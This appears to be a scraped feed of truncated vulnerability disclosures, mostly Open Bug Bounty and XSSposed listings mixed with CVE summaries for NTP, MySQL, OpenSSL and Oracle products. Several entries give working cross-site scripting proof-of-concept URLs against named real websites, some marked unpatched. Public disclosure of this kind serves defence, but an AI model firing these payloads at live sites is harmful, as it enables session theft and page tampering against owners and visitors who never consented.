uakey.com.ua XSS vulnerability

Vulnerable URL: http://uakey.com.ua/index.php?search=%3C/script%3E%3Cimg%20src=x%20onerror=prompt/XSSPOSED/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 975392 VIP website...

cwg.org XSS vulnerability

Vulnerable URL: http://cwg.org/index.php?b=573%3C!%27/!%22/%27/%22/--!%3E%3C/Title/%3E%3C/Script/%3E%3CInput/Autofocus/%0D/Onfocus=confirmOPENBUGBOUNTY//%3E%3Csvg%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability...

zippo.it XSS vulnerability

Vulnerable URL: http://www.zippo.it/ricerca.php?freetext=%22%3E%3C%2Ftitle%3E%27%3E%3B%3C%2Fscript%3E%3Csvg%2Fonload%3Dalert%28%2FOPENBUGBOUNTY%2F%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly...

Microsoft Edge CTextExtractor::GetBlockText Out-Of-Bounds Read Exploit

A specially crafted web-page can cause an integer underflow in Microsoft Edge. This causes CTextExtractor::GetBlockText to read data outside of the bounds of a memory block. Throughout November, I plan to release details on vulnerabilities I found in web-browsers which I've not released before...

fling.com XSS vulnerability

Vulnerable URL: http://www.fling.com/?ot=" /%3E%3Csvg/onload=alert'OPENBUGBOUNTY'%3E// Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 9655 VIP website status:| Yes Check fling.com SSL connection:| Grade: F...

muji.eu XSS vulnerability

Vulnerable URL: http://www.muji.eu/pages/mujimail.asp?qmde=signup=sur Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 51646 VIP website status:| No Check muji.eu SSL connection:| Grade: B Coordinated Disclosure...

megabet.com XSS vulnerability

Vulnerable URL: http://www.megabet.com/OfferRedirect?url=javascript:alert/OPENBUGBOUNTY/ Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 6257913 VIP website status:| No Check megabet.com SSL connection:| Grade: F...

truwindows.com XSS vulnerability

Vulnerable URL: http://truwindows.com/common/sifr/avenir.swf?txt=%3Ca%20href=%22javascript:alert%28/OPENBUGBOUNTY/%29%22%3Eclick%20me!%3C/a%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

iffendic.fr XSS vulnerability

Vulnerable URL: http://www.iffendic.fr/modules.php Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 20841588 VIP website status:| No Check iffendic.fr SSL connection:| Grade: F...

socialll.net Open Redirect vulnerability

Vulnerable URL: http://socialll.net/redirect?ref=https://www.openbugbounty.org Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alexa Rank| 88884 VIP website status:| No Check...

BlueHat IL 2017 Announced

Microsoft is thrilled to announce BlueHat IL 2017. This will mark the first time BlueHat is held in Tel Aviv and it will take place on January 24-25, 2017. Given its location, Israel further serves as a harness which draws in researchers from across Europe, Asia and the Middle East...

olx.com.ar XSS vulnerability

Vulnerable URL: https://www.olx.com.ar/%5Copenbugbounty.org Details: Description| Value ---|--- Patched:| Yes, at 11.06.2017 Latest check for patch:| 11.06.2017 14:00 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 8797 VIP website status:| Yes Check olx.com.ar...

NTP Vulnerabilities

The open source ntp project has been found to contain several vulnerabilities CVE-2015-8158, CVE-2015-8138, CVE-2015-7979, CVE-2015-7978, CVE-2015-7977, CVE-2015-7976, CVE-2015-7975, CVE-2015-7974, CVE-2015-7973, all released in January 2016. Palo Alto...

mysql: unspecified vulnerability in subcomponent: Client (CPU January 2016)

Unspecified vulnerability in Oracle MySQL 5.5.46 and earlier, 5.6.27 and earlier, and 5.7.9 and MariaDB before 5.5.47, 10.0.x before 10.0.23, and 10.1.x before 10.1.10 allows local users to affect confidentiality, integrity, and availability via unknown vectors related to Client. NOTE: the previo...

OpenSSL Advisory - January 2016

OpenSSL released an update in January 2016 to address one high and one low severity vulnerabilities...

Directory traversal

Directory traversal vulnerability in kml2jsonp.php in Geospatial Information Authority of Japan aka GSI OldGSIMaps before January 2015 on Windows allows remote attackers to read arbitrary files via unspecified vectors...

Oracle Outside in Libraries Elevation of Privilege Vulnerabilities

This security update addresses the following vulnerabilities, which are described in Oracle Critical Patch Update Advisory - January 2016: CVE-2015-6013: Oracle Outside In 8.5.2 WK4 stack buffer overflow CVE-2015-6014: Oracle Outside In 8.5.2 DOC stack buffer overflow CVE-2015-6015: Oracle OIT...

Source code of Old_GSI_Maps prior to January, 2015 vulnerable to directory traversal

Overview kml2jsonp.php contained in source code of OldGSIMaps prior to January, 2015 provided by the Geospatial Information Authority of Japan GSI contains a directory traversal vulnerability CWE-22. Shoji Baba reported this vulnerability to IPA. JPCERT/CC coordinated with the developer under...

mysql: unspecified vulnerability in subcomponent: Client (CPU January 2016)

Unspecified vulnerability in Oracle MySQL 5.5.46 and earlier, 5.6.27 and earlier, and 5.7.9 and MariaDB before 5.5.47, 10.0.x before 10.0.23, and 10.1.x before 10.1.10 allows local users to affect confidentiality, integrity, and availability via unknown vectors related to Client. NOTE: the previo...

momastore.org XSS vulnerability

Vulnerable URL: https://www.momastore.org/museum/moma/ProductDisplayYoshimoto-Cube-No.-1104511000145657-1267152671545658?momaProductId=45657=67866-item=10001=10451=-1x';%20confirmXSSPOSED//=ProductDisplayYoshimoto%20Cube%20No.%201104511000145657-12671526715=26715=MoMAProductCommonCntrCmd Details:...